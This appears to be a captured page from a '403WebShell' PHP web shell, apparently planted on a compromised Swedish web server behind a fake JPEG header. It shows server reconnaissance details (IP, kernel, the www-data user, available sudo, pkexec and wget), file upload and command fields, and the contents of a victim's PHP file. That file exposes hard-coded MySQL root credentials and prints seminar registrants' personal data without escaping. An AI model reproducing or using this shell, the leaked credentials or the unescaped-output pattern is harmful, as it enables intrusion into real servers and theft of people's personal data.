????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.222.48.95
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/laser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/laser/show_anmalan.php
<?php


	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("astacus_web");

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Untitled Document</title>
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
   <td>F&ouml;retag</td>
   <td width="150">Person</td>
   <td>Mail</td>
   <td width="150">Telefon</td>
   <td>Kommentar</td>
   <td>Antal</td>
   <td width="200">Datum</td>
   <td  width="200">Plats</td>
   <td></td>
   <td></td>
   <td></td>
  </tr>

<?php

	$sql = "SELECT * FROM tblAnmalanSeminarie order by datum";
	$result = mysql_query($sql);
	$x = 0;
	$temp = "";
	while ($row = mysql_fetch_assoc($result)){ 
		$f1 = $row['f1'];
		$f2 = $row['f2'];
		$f3 = $row['f3'];
		$f4 = $row['f4'];
		$kommentar = $row['kommentar'];
		$antal = $row['antal'];
		$datum = $row['datum'];
		$plats = $row['plats'];
		$f5 = $row['f5'];
		$f6 = $row['f6'];
		$f7 = $row['f7'];
		
		
		if($temp == ""){
			$temp = $datum;
			$x=0;
		}
		
		
		
		if($temp != $datum){
		//$x=$x-1;
		echo("  <tr bgcolor='#999999'><td></td>");
    echo("<td></td>");
    echo("<td></td>");
    echo("<td></td>");
    echo("<td>Antal:</td>");
    echo("<td>$x</td>");
    echo("<td></td>");
    echo("<td><br><br></td>");
    echo("<td>&nbsp;</td>");
   echo("<td>&nbsp;</td></tr>");
		 $x = 0;
		}
		$temp = $datum;
		
		
		
	echo("<tr><td><a href='javascript:alert(\"".$f5.", ".$f6." ".$f7."\");'>$f1</a></td>");
    echo("<td>$f2</td>");
    echo("<td>$f3</td>");
    echo("<td>$f4</td>");
    echo("<td>$kommentar</td>");
    echo("<td>$antal</td>");
    echo("<td>$datum</td>");
    echo("<td>$plats</td>");
    echo("<td>&nbsp;</td>");
   echo("<td>&nbsp;</td></tr>");
   
   $x+=  $row['antal'];
		
		
	}
echo("  <tr bgcolor='#999999'><td></td>");
    echo("<td></td>");
    echo("<td></td>");
    echo("<td></td>");
    echo("<td>Antal:</td>");
    echo("<td>$x</td>");
    echo("<td></td>");
    echo("<td><br><br></td>");
    echo("<td>&nbsp;</td>");
   echo("<td>&nbsp;</td></tr>");

?>
 </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit